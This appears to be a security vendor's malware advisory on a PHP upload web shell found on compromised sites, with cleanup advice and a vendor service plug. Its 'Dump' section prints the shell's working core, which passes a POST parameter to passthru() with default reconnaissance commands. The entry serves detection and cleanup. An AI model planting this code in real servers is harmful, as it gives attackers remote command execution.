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Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.
Simple web-shell ore better to say "uploader" allowing the attacker upload files. It also allows the attacker running following linux commands:

- uname -ar ;
- pwd ;
- id ;
- ls -la ;

This means, the attacker is able to get the information about the system (uname), current/working directory (pwd), real and effective UIDs and GIDs (id) and list of the actual files (ls).

Despite the information about "test purpose" of this script, it's actually real backdoor found on infected system:

<!-- upload php shell made by arakbali (www.-------.com) for test only -->
<!-- greetz to K-159 ,the_day, z3r0byt3, m0by , comex, c-a-s-e , S'to -->

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.

Dump

if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="uname -ar ; pwd ; id ; ls -la ;"; }
echo "<b>";
echo "<div align=left><textarea name=report cols=70 rows=15>";
echo "".passthru($_POST['cmd'])."";
echo "</textarea></div>";
echo "</b>";